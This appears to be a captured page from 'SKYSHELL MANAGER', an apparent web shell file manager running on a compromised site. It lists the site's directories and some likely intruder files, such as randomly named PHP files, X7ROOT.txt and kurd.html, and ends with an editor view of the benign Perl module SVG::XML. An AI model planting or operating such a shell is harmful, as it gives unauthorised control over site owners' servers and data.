📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: XML.pm
package SVG::XML; use strict; use warnings; our $VERSION = '2.87'; =pod =head1 NAME SVG::XML - Handle the XML generation bits for SVG.pm =head1 AUTHOR Ronan Oger, cpan@roitsystems.com =head1 SEE ALSO L<SVG>, L<SVG::DOM>, L<SVG::Element>, L<SVG::Parser>, L<SVG::Extension> =cut use Exporter; our @ISA = ('Exporter'); our @EXPORT = qw( xmlesc xmlescape xmlescp cssstyle xmlattrib xmlcomment xmlpi xmltag xmltagopen xmltagclose xmltag_ln xmltagopen_ln xmltagclose_ln processtag xmldecl dtddecl ); sub xmlescp { my ( $self, $s ) = @_; $s = '0' unless defined $s; $s = join( ', ', @{$s} ) if ( ref($s) eq 'ARRAY' ); # Special XML entities are escaped $s =~ s/&(?!#(x\w\w|\d+?);)/&/g; $s =~ s/>/>/g; $s =~ s/</</g; $s =~ s/\"/"/g; $s =~ s/\'/'/g; # Backtick is just a regular XML citizen #$s=~s/\`/'/g; # Invalid XML characters are removed, not just escaped: \x00-\x08\x0b\x1f # Tabs (\x09) and newlines (\x0a) are valid. while ( $s =~ s/([\x00-\x08\x0b\x1f])/''/e ) { my $char = q{'\\x} . sprintf( '%02X', ord($1) ) . q{'}; $self->error( $char => 'This forbidden XML character was removed' ); } # Per suggestion from Adam Schneider $s =~ s/([\200-\377])/'&#'.ord($1).';'/ge; return $s; } *xmlesc = \&xmlescp; *xmlescape = \&xmlescp; sub cssstyle { my %attrs = @_; return ( join( '; ', map { qq($_: ) . $attrs{$_} } sort keys(%attrs) ) ); } # Per suggestion from Adam Schneider sub xmlattrib { my %attrs = @_; return '' unless ( scalar( keys %attrs ) ); return ( ' ' . join( ' ', map { qq($_=") . $attrs{$_} . q(") } sort keys(%attrs) ) ); } sub xmltag { my ( $name, $ns, %attrs ) = @_; $ns = $ns ? "$ns:" : ''; my $at = xmlattrib(%attrs) || ''; return qq(<$ns$name$at />); } sub xmltag_ln { my ( $name, $ns, %attrs ) = @_; return xmltag( $name, $ns, %attrs ); } sub xmltagopen { my ( $name, $ns, %attrs ) = @_; $ns = $ns ? "$ns:" : ''; my $at = xmlattrib(%attrs) || ''; return qq(<$ns$name$at>); } sub xmltagopen_ln { my ( $name, $ns, %attrs ) = @_; return xmltagopen( $name, $ns, %attrs ); } sub xmlcomment { my ( $self, $r_comment ) = @_; my $ind = $self->{-docref}->{-elsep} . $self->{-docref}->{-indent} x $self->{-docref}->{-level}; # If the comment starts with newline character then do not prefix # with space (RT #123896). return ( $ind . join( $ind, map { ( (/^\n/) ? (q(<!--)) : (q(<!-- )) ) . qq($_) . ( (/\n[\t]?$/) ? (q(-->)) : (q( -->)) ); } @$r_comment ) ); } sub xmlpi { my ( $self, $r_pi ) = @_; my $ind = $self->{-docref}->{-elsep} . $self->{-docref}->{-indent} x $self->{-docref}->{-level}; return ( join( $ind, map {qq(<?$_?>)} @$r_pi ) ); } *processinginstruction = \&xmlpi; sub xmltagclose { my ( $name, $ns ) = @_; $ns = $ns ? "$ns:" : ''; return qq(</$ns$name>); } sub xmltagclose_ln { my ( $name, $ns ) = @_; return xmltagclose( $name, $ns ); } sub dtddecl { my $self = shift; my $docroot = $self->{-docroot} || 'svg'; my $id; if ( $self->{-pubid} ) { $id = 'PUBLIC "' . $self->{-pubid} . '"'; $id .= ' "' . $self->{-sysid} . '"' if ( $self->{-sysid} ); } elsif ( $self->{-sysid} ) { $id = 'SYSTEM "' . $self->{-sysid} . '"'; } else { $id = 'PUBLIC "-//W3C//DTD SVG 1.0//EN"' . $self->{-docref}->{-elsep} . "\"$self->{-docref}->{-dtd}\""; } my $at = join( ' ', ( $docroot, $id ) ); #>>>TBD: add internal() method to return this my $extension = ( exists $self->{-internal} ) ? $self->{-internal}->render() : q{}; if ( exists $self->{-extension} and $self->{-extension} ) { $extension .= $self->{-docref}{-elsep} . $self->{-extension} . $self->{-docref}{-elsep}; } $extension = ' [' . $self->{-docref}{-elsep} . $extension . ']' if $extension; return qq[$self->{-docref}{-elsep}<!DOCTYPE $at$extension>]; } sub xmldecl { my $self = shift; my $version = $self->{-version} || '1.0'; my $encoding = $self->{-encoding} || 'UTF-8'; my $standalone = $self->{-standalone} || 'yes'; return qq{<?xml version="$version" encoding="$encoding" standalone="$standalone"?>}; } #------------------------------------------------------------------------------- 1;
Save